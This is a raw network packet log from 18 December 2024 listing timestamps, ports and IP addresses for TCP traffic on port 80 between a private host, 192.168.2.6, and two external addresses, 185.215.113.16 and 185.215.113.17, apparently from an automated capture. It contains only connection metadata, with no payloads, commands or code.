Dec 18, 2024 12:00:28.473138094 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.473769903 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.473823071 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.473907948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.473963022 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.474467993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.474519968 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.474620104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.474672079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.475194931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.475245953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.475277901 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.475331068 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.476013899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.476069927 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.476083040 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.476160049 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.476764917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.476824045 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.476835966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.476886034 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.477544069 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.477591991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.477662086 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.477719069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.478250027 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.478302956 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.478600979 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.478647947 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.479178905 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.479229927 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.479310036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.479424953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.480113029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.480218887 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.480247021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.480293036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.480880022 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.480916977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.480947971 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.480962992 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.481615067 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.481661081 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.481664896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.481708050 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.482095003 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.482198000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.482233047 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.482251883 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.482299089 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.482378006 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.482422113 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.482503891 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.482539892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.482589006 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.482907057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.482960939 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.483042002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.483083963 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.483491898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.483619928 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.483665943 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.483675003 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.483710051 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.483716965 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.483757973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.484518051 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.484613895 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.484622955 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.484745979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.484778881 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.484824896 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.484850883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.484889030 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.485291958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.485368013 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.485410929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.485454082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.485754013 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.485789061 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.485807896 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.485882044 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.485917091 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.485929966 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.486017942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.486140966 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.486633062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.486690998 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.486732006 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.486778021 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.486835957 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.486871004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.486915112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.487297058 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.487343073 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.487396002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.487546921 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.487755060 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.487865925 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.487906933 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.488001108 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.488125086 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.488178015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.488286972 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.488425970 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.489015102 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.489063978 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.489123106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.489160061 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.489170074 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.489260912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.489267111 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.489303112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.489634991 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.489682913 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.489690065 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.489732027 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.489959955 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.490010023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.490019083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.490061045 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.490348101 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.490396976 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.490403891 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.490447044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.491034031 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.491080999 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.491188049 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.491225004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.491271019 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.491291046 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.491338015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.491379023 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.491871119 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.491920948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.491997004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.492043972 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.492247105 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.492377996 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.492403984 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.492419004 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.492640018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.492763042 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.492773056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.492814064 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.493254900 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.493299961 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.493360996 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.493396044 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.493402004 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.493439913 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.493498087 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.493680000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.494142056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.494245052 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.494262934 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.494286060 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.494348049 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.494431019 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.494446039 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.494488955 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.494878054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.494920015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.494980097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.495107889 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.495443106 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.495497942 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.495562077 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.495610952 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.495634079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.495668888 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.495714903 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.496375084 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.496541977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.496556997 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.496578932 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.496628046 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.496728897 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.497292042 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.497389078 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.497406960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.497488022 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.497925043 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.497962952 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.497972012 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.498001099 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.498780012 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.498838902 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.498908043 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.498955011 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.499449968 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.499530077 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.499547958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.499591112 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.500183105 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.500233889 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.500302076 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.500633955 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.500896931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.500996113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.501036882 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.501740932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.501794100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.501852036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.501897097 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.502425909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.502545118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.502547026 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.502585888 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.503201962 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.503252029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.503292084 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.503349066 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.504126072 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.504205942 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.504246950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.504285097 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.504780054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.504849911 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.504863024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.504920959 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.505484104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.505626917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.505690098 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.505690098 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.506263971 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.506311893 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.506319046 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.506371021 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.507005930 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.507066011 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.507124901 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.507240057 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.507765055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.507818937 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.507903099 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.508027077 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.536636114 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.536783934 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.536876917 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.537103891 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.537161112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.537230968 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.537285089 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.537894964 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.537954092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.538019896 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.538069963 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.539037943 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.539086103 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.539290905 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.539341927 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.539403915 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.539450884 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.540424109 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.540478945 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.540494919 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.540529013 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.541544914 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.541595936 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.541676998 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.541727066 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.542623043 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.542673111 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.542680979 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.542728901 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.543674946 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.543725014 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.543808937 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.543885946 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.544826031 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.544888020 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.544934988 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.544984102 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.545872927 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.545927048 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.546010017 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.546056032 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.546992064 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.547045946 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.547074080 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.547091007 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.548084974 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.548135042 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.548201084 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.548259974 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.549211979 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.549263000 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.549326897 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.549417019 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.550239086 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.550357103 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.550378084 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.550415039 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.551361084 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.551409006 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.551460028 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.551507950 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.552476883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.552531958 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.552572966 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.552623034 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.553545952 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.553601980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.553690910 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.553746939 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.554685116 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.554761887 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.554791927 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.554843903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.555984974 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.556077003 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.556094885 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.556133032 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.556863070 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.556966066 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.557018995 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.558065891 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.558131933 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.558151960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.558254957 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.559063911 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.559127092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.559200048 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.559251070 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.560301065 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.560352087 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.560394049 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.560435057 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.561206102 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.561240911 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.561250925 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.561289072 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.562302113 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.562356949 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.562356949 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.562411070 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.563426018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.563524961 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.563580990 CET	80	49950	185.215.113.16	192.168.2.6
